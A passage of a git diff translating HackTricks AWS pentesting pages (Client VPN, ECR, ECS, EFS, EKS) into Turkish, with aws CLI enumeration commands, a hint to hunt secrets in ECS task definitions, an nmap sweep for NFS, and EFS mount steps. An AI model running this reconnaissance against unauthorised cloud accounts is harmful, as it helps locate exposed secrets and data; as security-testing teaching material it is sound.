`10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443. -- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address. -- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues. -- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client. +- **İstemci VPN uç noktası:** İstemci VPN oturumlarını etkinleştirmek ve yönetmek için oluşturduğunuz ve yapılandırdığınız kaynak. Tüm istemci VPN oturumlarının sonlandığı kaynaktır. +- **Hedef ağ:** Hedef ağ, bir İstemci VPN uç noktası ile ilişkilendirdiğiniz ağdır. **Bir VPC'den bir alt ağ, hedef ağdır**. Bir alt ağı bir İstemci VPN uç noktası ile ilişkilendirmek, VPN oturumları kurmanıza olanak tanır. Yüksek kullanılabilirlik için bir İstemci VPN uç noktası ile birden fazla alt ağı ilişkilendirebilirsiniz. Tüm alt ağlar aynı VPC'den olmalıdır. Her alt ağ farklı bir Kullanılabilirlik Bölgesine ait olmalıdır. +- **Yönlendirme**: Her İstemci VPN uç noktasının, mevcut hedef ağ yönlendirme yollarını tanımlayan bir yönlendirme tablosu vardır. Yönlendirme tablosundaki her yönlendirme, belirli kaynaklara veya ağlara trafik için yolu belirtir. +- **Yetkilendirme kuralları:** Bir yetkilendirme kuralı, **bir ağa erişebilecek kullanıcıları kısıtlar**. Belirli bir ağ için, erişime izin verilen Active Directory veya kimlik sağlayıcı (IdP) grubunu yapılandırırsınız. Sadece bu gruba ait kullanıcılar belirtilen ağa erişebilir. **Varsayılan olarak, yetkilendirme kuralları yoktur** ve kullanıcıların kaynaklara ve ağlara erişimini sağlamak için yetkilendirme kuralları yapılandırmalısınız. +- **İstemci:** Bir VPN oturumu kurmak için İstemci VPN uç noktasına bağlanan son kullanıcı. Son kullanıcıların, bir OpenVPN istemcisi indirmesi ve bir VPN oturumu kurmak için oluşturduğunuz İstemci VPN yapılandırma dosyasını kullanması gerekir. +- **İstemci CIDR aralığı:** İstemci IP adreslerini atamak için bir IP adresi aralığı. İstemci VPN uç noktasına her bağlantı, istemci CIDR aralığından benzersiz bir IP adresi alır. İstemci CIDR aralığını seçersiniz, örneğin, `10.2.0.0/16`. +- **İstemci VPN portları:** AWS İstemci VPN, hem TCP hem de UDP için 443 ve 1194 portlarını destekler. Varsayılan port 443'tür. +- **İstemci VPN ağ arayüzleri:** Bir alt ağı İstemci VPN uç noktanızla ilişkilendirdiğinizde, o alt ağda İstemci VPN ağ arayüzleri oluştururuz. **İstemci VPN uç noktasından VPC'ye gönderilen trafik, bir İstemci VPN ağ arayüzü üzerinden gönderilir**. Ardından, kaynak ağ adresi çevirisi (SNAT) uygulanır; burada istemci CIDR aralığındaki kaynak IP adresi, İstemci VPN ağ arayüzü IP adresine çevrilir. +- **Bağlantı günlüğü:** İstemci VPN uç noktanız için bağlantı olaylarını günlüğe kaydetmek üzere bağlantı günlüğünü etkinleştirebilirsiniz. Bu bilgiyi, adli analiz yapmak, İstemci VPN uç noktanızın nasıl kullanıldığını analiz etmek veya bağlantı sorunlarını gidermek için kullanabilirsiniz. +- **Kendi kendine hizmet portalı:** İstemci VPN uç noktanız için bir kendi kendine hizmet portalı etkinleştirebilirsiniz. Müşteriler, kimlik bilgilerini kullanarak web tabanlı portala giriş yapabilir ve İstemci VPN uç noktasının yapılandırma dosyasının en son sürümünü veya AWS tarafından sağlanan istemcinin en son sürümünü indirebilir. -#### Limitations +#### Sınırlamalar -- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table. -- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.** -- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint. -- The **client CIDR range cannot be changed** after you create the Client VPN endpoint. -- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**. -- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**. -- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**. -- Client VPN supports **IPv4** traffic only. -- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**. -- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format. +- **İstemci CIDR aralıkları, ilişkili alt ağın bulunduğu VPC'nin yerel CIDR'si ile çakışamaz** veya İstemci VPN uç noktasının yönlendirme tablosuna manuel olarak eklenen herhangi bir yönlendirme ile çakışamaz. +- İstemci CIDR aralıklarının en az **/22** blok boyutuna sahip olması ve **/12'den büyük olmaması gerekir.** +- İstemci CIDR aralığındaki **adreslerin bir kısmı**, İstemci VPN uç noktasının **kullanılabilirlik** modelini desteklemek için kullanılır ve istemcilere atanamaz. Bu nedenle, **planladığınız maksimum eşzamanlı bağlantı sayısını desteklemek için gereken IP adreslerinin iki katını içeren bir CIDR bloğu atamanızı öneririz.** +- İstemci VPN uç noktasını oluşturduktan sonra **istemci CIDR aralığı değiştirilemez**. +- Bir İstemci VPN uç noktasına bağlı **alt ağlar, **aynı VPC'de** olmalıdır. +- **Aynı Kullanılabilirlik Bölgesinden birden fazla alt ağı bir İstemci VPN uç noktasına ilişkilendiremezsiniz**. +- Bir İstemci VPN uç noktası, **özel bir kiralama VPC'sinde alt ağ ilişkilerini desteklemez**. +- İstemci VPN yalnızca **IPv4** trafiğini destekler. +- İstemci VPN, **Federal Bilgi İşleme Standartları (FIPS)** **uyumlu değildir**. +- Eğer çok faktörlü kimlik doğrulama (MFA) Active Directory'niz için devre dışı bırakılmışsa, bir kullanıcı parolası aşağıdaki formatta olamaz. - ``` - SCRV1:: - ``` +``` +SCRV1:: +``` -- The self-service portal is **not available for clients that authenticate using mutual authentication**. +- Kendi kendine hizmet portalı, **karşılıklı kimlik doğrulama kullanarak kimlik doğrulaması yapan müşteriler için mevcut değildir**. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index 9025829b4..cd3728ab7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -6,49 +6,48 @@ ### ECR -#### Basic Information +#### Temel Bilgiler -Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images. +Amazon **Elastic Container Registry** (Amazon ECR), **yönetilen bir konteyner görüntü kayıt hizmetidir**. Müşterilerin konteyner görüntüleriyle tanınmış arayüzler kullanarak etkileşimde bulunabilecekleri bir ortam sağlamak için tasarlanmıştır. Özellikle, Docker CLI veya tercih edilen herhangi bir istemcinin kullanımı desteklenir ve bu, görüntüleri itme, çekme ve yönetme gibi etkinlikleri mümkün kılar. -ECR is compose by 2 types of objects: **Registries** and **Repositories**. +ECR, 2 tür nesneden oluşur: **Kayıtlar** ve **Depolar**. -**Registries** +**Kayıtlar** -Every AWS account has 2 registries: **Private** & **Public**. +Her AWS hesabının 2 kaydı vardır: **Özel** ve **Halka Açık**. -1. **Private Registries**: +1. **Özel Kayıtlar**: -- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission. - - The URI of a **private repository** follows the format `.dkr.ecr..amazonaws.com/` -- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles. -- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS... -- **Other private registry options**: - - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images. - - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions. - - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**. - - Specific **IAM policies** can be configured to grant different **permissions**. - - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo. +- **Varsayılan olarak özel**: Amazon ECR özel kaydında depolanan konteyner görüntüleri, yalnızca AWS hesabınızdaki yetkili kullanıcılar veya izin verilmiş olanlar tarafından **erişilebilir**. +- Bir **özel depo** URI'si `.dkr.ecr..amazonaws.com/` formatını takip eder. +- **Erişim kontrolü**: Özel konteyner görüntülerinize erişimi **IAM politikaları** kullanarak **kontrol edebilirsiniz** ve kullanıcılar veya roller temelinde ince ayar izinleri yapılandırabilirsiniz. +- **AWS hizmetleriyle entegrasyon**: Amazon ECR özel kayıtları, EKS, ECS gibi diğer AWS hizmetleriyle kolayca **entegrasyon** sağlayabilir. +- **Diğer özel kayıt seçenekleri**: +- Etiket değişmezliği sütunu, etiket değişmezliği etkinleştirildiğinde, **önceden var olan etiketlerle** görüntü **itmelerinin** üzerine yazılmasını **engelleyecektir**. +- **Şifreleme türü** sütunu, deponun şifreleme özelliklerini listeler, varsayılan şifreleme türleri olarak AES-256 gibi türleri gösterir veya **KMS** etkin şifrelemeleri içerir. +- **Ön bellek üzerinden çekme** sütunu, durumunu listeler, Ön bellek üzerinden çekme durumu Aktif olduğunda, **dış bir halka açık depodaki depoları özel deponuza ön belleğe alır**. +- Farklı **izinler** vermek için belirli **IAM politikaları** yapılandırılabilir. +- **Tarama yapılandırması**, depoda saklanan görüntülerdeki güvenlik açıklarını taramak için olanak tanır. -2. **Public Registries**: +2. **Halka Açık Kayıtlar**: -- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.** - - The URI of a **public repository** is like `public.ecr.aws//`. Although the `` part can be changed by the admin to another string easier to remember. +- **Halka açık erişim**: ECR Halka Açık kaydında depolanan konteyner görüntüleri, **kimlik doğrulama olmaksızın internetteki herkes tarafından erişilebilir.** +- Bir **halka açık depo** URI'si `public.ecr.aws//` gibidir. `` kısmı, yönetici tarafından hatırlanması daha kolay başka bir dize ile değiştirilebilir. -**Repositories** +**Depolar** -These are the **images** that in the **private registry** or to the **public** one. +Bunlar, **özel kayıtta** veya **halka açık** olan **görüntülerdir**. > [!NOTE] -> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**. +> Bir görüntüyü bir depoya yüklemek için, **ECR deposunun görüntüyle aynı adı taşıması gerektiğini** unutmayın. -#### Registry & Repository Policies +#### Kayıt ve Depo Politikaları -**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image: +**Kayıtlar ve depolar**, diğer ilkeler/hesaplar için izin vermek üzere kullanılabilecek **politikalar** da taşır. Örneğin, aşağıdaki depo politikası görüntüsünde, tüm organizasyondan herhangi bir kullanıcının görüntüye erişebileceğini görebilirsiniz:
-#### Enumeration - +#### Sayım ```bash # Get repos aws ecr describe-repositories @@ -68,39 +67,34 @@ aws ecr-public describe-repositories aws ecr get-registry-policy aws ecr get-repository-policy --repository-name ``` - -#### Unauthenticated Enum +#### Kimlik Doğrulaması Olmadan Enum {{#ref}} ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Privesc +#### Yetki Yükseltme -In the following page you can check how to **abuse ECR permissions to escalate privileges**: +Aşağıdaki sayfada **ECR izinlerini kötüye kullanarak yetki yükseltmeyi** kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### Post Exploitation +#### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}} -#### Persistence +#### Süreklilik {{#ref}} ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## References +## Referanslar - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index cbbf596fe..f62320e10 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -4,31 +4,30 @@ ## ECS -### Basic Information +### Temel Bilgiler -Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**. +Amazon **Elastic Container Services** veya ECS, **konteynerleştirilmiş uygulamaları bulutta barındırmak için bir platform** sağlar. ECS'nin iki **dağıtım** yöntemi vardır: **EC2** örnek türü ve **sunucusuz** seçenek, **Fargate**. Bu hizmet, **bulutta konteyner çalıştırmayı çok kolay ve sorunsuz hale getirir**. -ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**. +ECS, aşağıdaki üç yapı taşını kullanarak çalışır: **Küme**, **Hizmetler** ve **Görev Tanımları**. -- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”. -- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups. - - There **2 types of applications**: - - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application. - - **Task**: A standalone task that runs and terminates. For example, a batch job. - - Among the service applications, there are **2 types of service schedulers**: - - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node. - - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies. -- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**... - - Check **env variables for sensitive info**! +- **Kümeler**, bulutta çalışan **konteyner gruplarıdır**. Daha önce belirtildiği gibi, konteynerler için iki başlatma türü vardır: EC2 ve Fargate. AWS, **EC2** başlatma türünü, müşterilerin “kendi konteynerleştirilmiş uygulamalarını, **yönetilen** bir Amazon EC2 örnekleri kümesinde çalıştırmalarına” izin verdiği şekilde tanımlar. **Fargate** benzer bir şekilde tanımlanır ve “konteynerleştirilmiş uygulamalarınızı **arka uç altyapısını sağlama ve yönetme ihtiyacı olmadan** çalıştırmanıza izin verir” şeklindedir. +- **Hizmetler**, bir küme içinde oluşturulur ve **görevleri çalıştırmaktan** sorumludur. Bir hizmet tanımı içinde **çalıştırılacak görev sayısını, otomatik ölçeklendirmeyi, kapasite sağlayıcısını (Fargate/EC2/Dış),** **ağ** bilgilerini, VPC'ler, alt ağlar ve güvenlik grupları gibi tanımlarsınız. +- **2 tür uygulama** vardır: +- **Hizmet**: Durdurulup yeniden başlatılabilen uzun süreli bir hesaplama işini yöneten görevler grubudur. Örneğin, bir web uygulaması. +- **Görev**: Çalışan ve sona eren bağımsız bir görevdir. Örneğin, bir toplu iş. +- Hizmet uygulamaları arasında **2 tür hizmet zamanlayıcı** vardır: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Replica zamanlama stratejisi, kümeniz genelinde **istenen görev sayısını** yerleştirir ve **korur**. Eğer bir görev herhangi bir nedenle kapatılırsa, aynı veya farklı bir düğümde yeni bir görev başlatılır. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Gerekli gereksinimlere sahip her aktif konteyner örneğinde tam olarak bir görev dağıtır. İstenen görev sayısını, bir görev yerleştirme stratejisini belirtmeye veya Hizmet Otomatik Ölçeklendirme politikalarını kullanmaya gerek yoktur. +- **Görev Tanımları**, **çalışacak konteynerlerin ne olacağını tanımlamaktan** ve konteynerlerle yapılandırılacak çeşitli parametrelerden sorumludur, örneğin **port eşlemeleri**, **env değişkenleri**, Docker **giriş noktası**... +- Hassas bilgiler için **env değişkenlerini kontrol edin**! -### Sensitive Data In Task Definitions +### Görev Tanımlarında Hassas Veriler -Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within. +Görev tanımları, **ECS'de çalışacak gerçek konteynerleri yapılandırmaktan** sorumludur. Görev tanımları, konteynerlerin nasıl çalışacağını tanımladığından, içinde çok sayıda bilgi bulunabilir. -Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions. - -### Enumeration +Pacu, ECS'yi listeleyebilir (list-clusters, list-container-instances, list-services, list-task-definitions), ayrıca görev tanımlarını da dökebilir. +### Sayım ```bash # Clusters info aws ecs list-clusters @@ -52,35 +51,30 @@ aws ecs describe-tasks --cluster --tasks ## Look for env vars and secrets used from the task definition aws ecs describe-task-definition --task-definition : ``` - -### Unauthenticated Access +### Kimlik Doğrulama Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md {{#endref}} -### Privesc +### Yetki Yükseltme -In the following page you can check how to **abuse ECS permissions to escalate privileges**: +Aşağıdaki sayfada **ECS izinlerini kötüye kullanarak yetki yükseltme** yöntemlerini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### Post Exploitation +### İstismar Sonrası {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md {{#endref}} -### Persistence +### Süreklilik {{#ref}} ../aws-persistence/aws-ecs-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index bcf4e58d4..e7a7ea76f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -4,22 +4,21 @@ ## EFS -### Basic Information +### Temel Bilgiler -Amazon Elastic File System (EFS) is presented as a **fully managed, scalable, and elastic network file system** by AWS. The service facilitates the creation and configuration of **file systems** that can be concurrently accessed by multiple EC2 instances and other AWS services. The key features of EFS include its ability to automatically scale without manual intervention, provision low-latency access, support high-throughput workloads, guarantee data durability, and seamlessly integrate with various AWS security mechanisms. +Amazon Elastic File System (EFS), AWS tarafından **tamamen yönetilen, ölçeklenebilir ve elastik bir ağ dosya sistemi** olarak sunulmaktadır. Bu hizmet, birden fazla EC2 örneği ve diğer AWS hizmetleri tarafından eşzamanlı olarak erişilebilen **dosya sistemleri** oluşturmayı ve yapılandırmayı kolaylaştırır. EFS'nin ana özellikleri arasında, manuel müdahale olmadan otomatik olarak ölçeklenebilme, düşük gecikme süresi erişimi sağlama, yüksek verimlilikte iş yüklerini destekleme, veri dayanıklılığını garanti etme ve çeşitli AWS güvenlik mekanizmalarıyla sorunsuz entegrasyon yer almaktadır. -By **default**, the EFS folder to mount will be **`/`** but it could have a **different name**. +**Varsayılan** olarak, bağlanacak EFS klasörü **`/`** olacaktır, ancak **farklı bir adı** olabilir. -### Network Access +### Ağ Erişimi -An EFS is created in a VPC and would be **by default accessible in all the VPC subnetworks**. However, the EFS will have a Security Group. In order to **give access to an EC2** (or any other AWS service) to mount the EFS, it’s needed to **allow in the EFS security group an inbound NFS** (2049 port) **rule from the EC2 Security Group**. +Bir EFS, bir VPC içinde oluşturulur ve **varsayılan olarak tüm VPC alt ağlarında erişilebilir** olacaktır. Ancak, EFS'nin bir Güvenlik Grubu olacaktır. EFS'yi bağlamak için bir EC2'ye (veya başka bir AWS hizmetine) **erişim vermek için, EFS güvenlik grubunda EC2 Güvenlik Grubundan gelen bir NFS** (2049 portu) **kuralının izin verilmesi gerekir**. -Without this, you **won't be able to contact the NFS service**. +Bunu yapmadan, **NFS hizmetiyle iletişim kuramazsınız**. -For more information about how to do this check: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) - -### Enumeration +Bunu nasıl yapacağınız hakkında daha fazla bilgi için kontrol edin: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) +### Sayım ```bash # Get filesystems and access policies (if any) aws efs describe-file-systems @@ -39,12 +38,10 @@ aws efs describe-replication-configurations # Search for NFS in EC2 networks sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` - > [!CAUTION] -> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**. +> EFS montaj noktası aynı VPC içinde ancak farklı bir alt ağda olabilir. Tüm **EFS noktalarını bulduğunuzdan emin olmak istiyorsanız, `/16` ağ maskesini taramak daha iyi olacaktır**. ### Mount EFS - ```bash sudo mkdir /efs @@ -58,70 +55,63 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` +### IAM Erişimi -### IAM Access - -By **default** anyone with **network access to the EFS** will be able to mount, **read and write it even as root user**. However, File System policies could be in place **only allowing principals with specific permissions** to access it.\ -For example, this File System policy **won't allow even to mount** the file system if you **don't have the IAM permission**: - +**Varsayılan olarak**, EFS'ye **ağ erişimi olan herkes**, **kök kullanıcı olarak bile** onu bağlayabilir, **okuyabilir ve yazabilir**. Ancak, Dosya Sistemi politikaları, **sadece belirli izinlere sahip olan ilkelerin** erişimine izin verecek şekilde uygulanabilir.\ +Örneğin, bu Dosya Sistemi politikası, **IAM izniniz yoksa** dosya sistemini **bağlamanıza bile izin vermeyecektir**: ```json { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", - "Statement": [ - { - "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "", - "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797", +"Statement": [ +{ +"Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "", +"Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018", +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - -Or this will **prevent anonymous access**: +Veya bu **anonim erişimi engelleyecektir**:
-Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command: - +IAM ile korunan dosya sistemlerini bağlamak için, bağlama komutunda "efs" türünü KESİNLİKLE kullanmalısınız: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ # To use a different pforile from ~/.aws/credentials # You can use: -o tls,iam,awsprofile=namedprofile ``` +### Erişim Noktaları -### Access Points +**Erişim noktaları**, **paylaşılan veri setlerine** uygulama erişimini yönetmeyi kolaylaştıran **EFS dosya sistemine** uygulama özel giriş noktalarıdır. -**Access points** are **application**-specific entry points **into an EFS file system** that make it easier to manage application access to shared datasets. - -When you create an access point, you can **specify the owner and POSIX permissions** for the files and directories created through the access point. You can also **define a custom root directory** for the access point, either by specifying an existing directory or by creating a new one with the desired permissions. This allows you to **control access to your EFS file system on a per-application or per-user basis**, making it easier to manage and secure your shared file data. - -**You can mount the File System from an access point with something like:** +Bir erişim noktası oluşturduğunuzda, erişim noktası aracılığıyla oluşturulan dosyalar ve dizinler için **sahibi ve POSIX izinlerini** **belirtebilirsiniz**. Ayrıca, erişim noktası için **özel bir kök dizin tanımlayabilirsiniz**, mevcut bir dizini belirterek veya istenen izinlerle yeni bir dizin oluşturarak. Bu, **EFS dosya sisteminize uygulama veya kullanıcı bazında erişimi kontrol etmenizi** sağlar ve paylaşılan dosya verilerinizi yönetmeyi ve güvence altına almayı kolaylaştırır. +**Erişim noktasından dosya sistemini şu şekilde bağlayabilirsiniz:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> Bir erişim noktasını monte etmeye çalışsanız bile, **ağ üzerinden NFS hizmeti ile iletişim kurabilmeniz** gerektiğini ve EFS'nin bir dosya sistemi **politikasına** sahip olması durumunda, onu monte etmek için **yeterli IAM izinlerine** sahip olmanız gerektiğini unutmayın. -Access points can be used for the following purposes: +Erişim noktaları aşağıdaki amaçlar için kullanılabilir: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **İzin yönetimini basitleştirme**: Her erişim noktası için bir POSIX kullanıcı ve grubu tanımlayarak, temel dosya sisteminin izinlerini değiştirmeden farklı uygulamalar veya kullanıcılar için erişim izinlerini kolayca yönetebilirsiniz. +- **Kök dizini zorunlu kılma**: Erişim noktaları, EFS dosya sistemi içinde belirli bir dizine erişimi kısıtlayabilir, böylece her uygulama veya kullanıcı kendi belirlenen klasörü içinde çalışır. Bu, kazara veri ifşası veya değişikliğini önlemeye yardımcı olur. +- **Dosya sistemi erişimini kolaylaştırma**: Erişim noktaları, bir AWS Lambda işlevi veya bir AWS Fargate görevi ile ilişkilendirilebilir, bu da sunucusuz ve konteynerleştirilmiş uygulamalar için dosya sistemi erişimini basitleştirir. ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..8e28d97b7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS), kullanıcıların kendi Kubernetes kontrol düzlemlerini veya düğümlerini kurma, işletme ve yönetme ihtiyacını ortadan kaldırmak için tasarlanmıştır. Bunun yerine, Amazon EKS bu bileşenleri yönetir ve AWS üzerinde Kubernetes kullanarak konteynerleştirilmiş uygulamaları dağıtmak, yönetmek ve ölçeklendirmek için basitleştirilmiş bir yol sunar. -Key aspects of Amazon EKS include: +Amazon EKS'in ana özellikleri şunlardır: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Yönetilen Kubernetes Kontrol Düzlemi**: Amazon EKS, yamanın uygulanması, düğüm sağlama ve güncellemeler gibi kritik görevleri otomatikleştirir. +2. **AWS Hizmetleri ile Entegrasyon**: Hesaplama, depolama, veritabanı ve güvenlik için AWS hizmetleri ile sorunsuz entegrasyon sunar. +3. **Ölçeklenebilirlik ve Güvenlik**: Amazon EKS, yüksek kullanılabilirlik ve güvenlik sağlamak için tasarlanmıştır ve otomatik ölçeklendirme ve tasarım gereği izolasyon gibi özellikler sunar. +4. **Kubernetes ile Uyumluluk**: Amazon EKS üzerinde çalışan uygulamalar, herhangi bir standart Kubernetes ortamında çalışan uygulamalarla tamamen uyumludur. #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,7 +31,6 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - #### Post Exploitation {{#ref}} @@ -44,7 +42,3 @@ aws eks describe-update --name --update-id - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 